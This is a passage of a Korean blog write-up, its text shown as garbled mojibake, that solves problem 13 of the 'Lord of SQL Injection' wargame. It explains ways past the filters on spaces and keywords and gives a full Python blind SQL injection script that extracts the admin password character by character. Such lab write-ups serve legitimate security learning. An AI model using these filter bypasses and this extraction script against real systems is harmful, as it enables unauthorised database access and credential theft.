์ƒˆ์†Œ์‹

Game/los

Lord of sql injection [13]

  • -
๋ฐ˜์‘ํ˜•

[๋ฌธ์ œ 13] 

 

์ด๋ฒˆ๋ฌธ์ œ๋Š” ๋ง‰๊ณ  ์žˆ๋Š”๊ฒŒ ์ •๋ง ๋งŽ์Šต๋‹ˆ๋‹ค......like๋„ ๋ง‰์•„๋†จ๋„ค์š”...or..and....๋‹ค noํŒŒ๋ผ๋ฏธํ„ฐ์— ๋“ค์–ด๊ฐ€๋ฉด HeHe ๊ฐ€ ๋œน๋‹ˆ๋‹ค.

์ €๋ฒˆ ๋ฌธ์ œ์™€ ํฌ๊ฒŒ ๋‹ค๋ฅผ๊ฑด ์—†๋„ค์š”.

 

๋‹ค๋งŒ ๋ง‰๋Š”๊ฒŒ ๋Š˜์–ด๋‚ฌ์„๋ฟ... (์ด๋ ‡๊ฒŒ ์ „๋ถ€ ๋ง‰์„ ์ˆ˜๋„ ์žˆ๊ตฌ๋‚˜..ํ•˜ํ•˜ํ•˜ํ•ณ)

 

์ €๋ฒˆ๋ฌธ์ œ์™€ ๋‹ฌ๋ฆฌ ๋Š˜์–ด๋‚œ ์ ์€

1. like ๋ง‰์Œ

2. ๊ณต๋ฐฑ ๋ง‰์Œ ์ธ๋ฐ์š”.

 

๊ณต๋ฐฑ์€ ์ผ๋‹จ /%%/ ๋กœ ๋ง‰์„ ์ˆ˜ ์žˆ์–ด์š”! <๋ฌธ์ œ 5๋ฒˆ ๊ณต๋ฐฑ ์šฐํšŒ ์ฐธ๊ณ >

 

 

like๋Š” instr๋กœ ๋ง‰์„ ์ˆ˜ ์žˆ๋‹ค๊ณ  ํ•˜๋„ค์š”.

 

 

https://dorahee.tistory.com/140

 

 

inํ•จ์ˆ˜๋Š”๋‹ค๋ฅธ ๋ฐฉ๋ฒ•์œผ๋กœ๋„ ์‚ฌ์šฉ์ด ๊ฐ€๋Šฅํ•œ๋ฐ์š”.

์˜ˆ๋ฅผ๋“ค์–ด id = 1 ์„ in ํ•จ์ˆ˜๋กœ ์จ๋ณด์ž๋ฉด id in(1) ์ด๋ ‡๊ฒŒ ์จ์ฃผ๋ฉด ๋ฉ๋‹ˆ๋‹ค.

 

์–ด์ฐŒ๋˜์—ˆ๋“  ์ด๋ฒˆ๋ฌธ์ œ๋„ blind์ด๊ธฐ ๋•Œ๋ฌธ์— ํˆด์„ ์‚ฌ์šฉํ•ด๋ณผ๊ฒŒ์š”.

 

์ „ ๋ฌธ์ œ์™€ ๋งˆ์ฐฌ๊ฐ€์ง€๋กœ ํˆด์„ ์‚ฌ์šฉํ• ๊ฑฐ๊ณ , ํˆด์˜ ๋‚ด์šฉ๋งŒ ์‚ด์ง ๋ฐ”๊ฟ” ์ค๋‹ˆ๋‹ค.

 

์จ๋ณด๋‹ˆ, los๋ฌธ์ œ๊ฐ€ ๊ฐ€๋” 0์ด ๋“ค์–ด๊ฐ€๋ฉด hello admin์ด ์ถœ๋ ฅ๋˜๋Š” ๊ฒฝ์šฐ๊ฐ€ ์žˆ๋„ค์š”..

๊ทธ๋ž˜์„œ ํŒŒ์ด์ฌ์ด 0์„ ๋ฝ‘์•„๋‚ผ ๋•Œ๋„ ์žˆ์œผ๋‹ˆ, ์ฃผ์˜ ํ•˜์…”์„œ ์•ŒํŒŒ๋ฒณ ๋จผ์ € ๋‘๊ณ  ๋’ค์— ์ˆซ์ž๋ฅผ ๋†“์œผ์‹œ๋ฉด ๋  ๊ฒƒ ๊ฐ™์Šต๋‹ˆ๋‹ค.

 

import requests
from bs4 import BeautifulSoup

query1 = "1/**/||/**/id/**/in/**/(\"admin\")/**/&&/**/(mid(pw,%d,1))/**/in(%s)#"
dbname = []
password = []

word = ['\"a\"', '\"b\"', '\"c\"', '\"d\"', '\"e\"', '\"f\"', '\"g\"',
        '\"h\"', '\"i\"', '\"j\"', '\"k\"', '\"l\"', '\"m\"', '\"n\"', '\"o\"', '\"p\"', '\"q\"', '\"r\"', '\"s\"',
        '\"t\"', '\"u\"', '\"v\"', '\"w\"', '\"x\"', '\"y\"', '\"z\"', '1', '2', '3', '4', '5', '6', '7', '8', '9', '0']
#print("์ƒํƒœ ์ฝ”๋“œ : ",res.status_code)

print("========= Blind SQL injection ===========")
# 1. ์‚ฌ์šฉํ•˜๊ณ  ์žˆ๋Š” DB ๊ธธ์ด ์•Œ์•„๋‚ด๊ธฐ.

print("######################data ๋ถ„์„ ์ค‘")

num = 1
while num <= 8:

    for src in word:
        dbname = [query1 % (num, src)]

        cookies = {'PHPSESSID': '27g5thpe9ib9v6o1vq12kvhpv6'}
        params = {'id': "admin", 'pw': "0/**/&&", 'no': dbname}
        res = requests.get('https://los.rubiya.kr/chall/bugbear_19ebf8c8106a5323825b5dfa1b07ac1f.php', params=params, cookies=cookies)
        code = res.text  # ์ „์ฒด ์ฝ”๋“œ
        search = "Hello admin"  # ์ฐธ์ผ์‹œ ๋‚˜์˜ค๋Š” ๊ฒฐ๊ณผ ๊ฐ’

        if search in code: #์ฝ”๋“œ์•ˆ์— ์ฐธ์ผ ์‹œ ๋‚˜์˜ค๋Š” ๊ฐ’์ด ๋“ค์–ด๊ฐ€ ์žˆ๋‹ค๋ฉด
            print("Data : ", src)
            password += src
            print(dbname)
            break


    num = num+1

print("###########################์™„๋ฃŒ")
print('pwd : ', '_'.join(password))

 

๊ฒฐ๊ณผ๋Š”

 

 

๊ฐ’์„ ๋„ฃ์–ด์ฃผ๋ฉด ๋ฌธ์ œ๊ฐ€ ํ’€๋ฆฝ๋‹ˆ๋‹ค.

 

 

 

CLEAR ๊ฐˆ์ˆ˜๋ก ์–ด๋ ค์›Œ์ง€๋„ค์š”.^_^

๋ฐ˜์‘ํ˜•

'Game > los' ์นดํ…Œ๊ณ ๋ฆฌ์˜ ๋‹ค๋ฅธ ๊ธ€

Lord of sql injection [15]  (2) 2020.09.13
Lord of sql injection [14]  (0) 2020.09.12
Lord of sql injection [12]  (0) 2020.09.11
Lord of sql injection [11]  (0) 2020.09.11
Contents

ํฌ์ŠคํŒ… ์ฃผ์†Œ๋ฅผ ๋ณต์‚ฌํ–ˆ์Šต๋‹ˆ๋‹ค

์ด ๊ธ€์ด ๋„์›€์ด ๋˜์—ˆ๋‹ค๋ฉด ๊ณต๊ฐ ๋ถ€ํƒ๋“œ๋ฆฝ๋‹ˆ๋‹ค.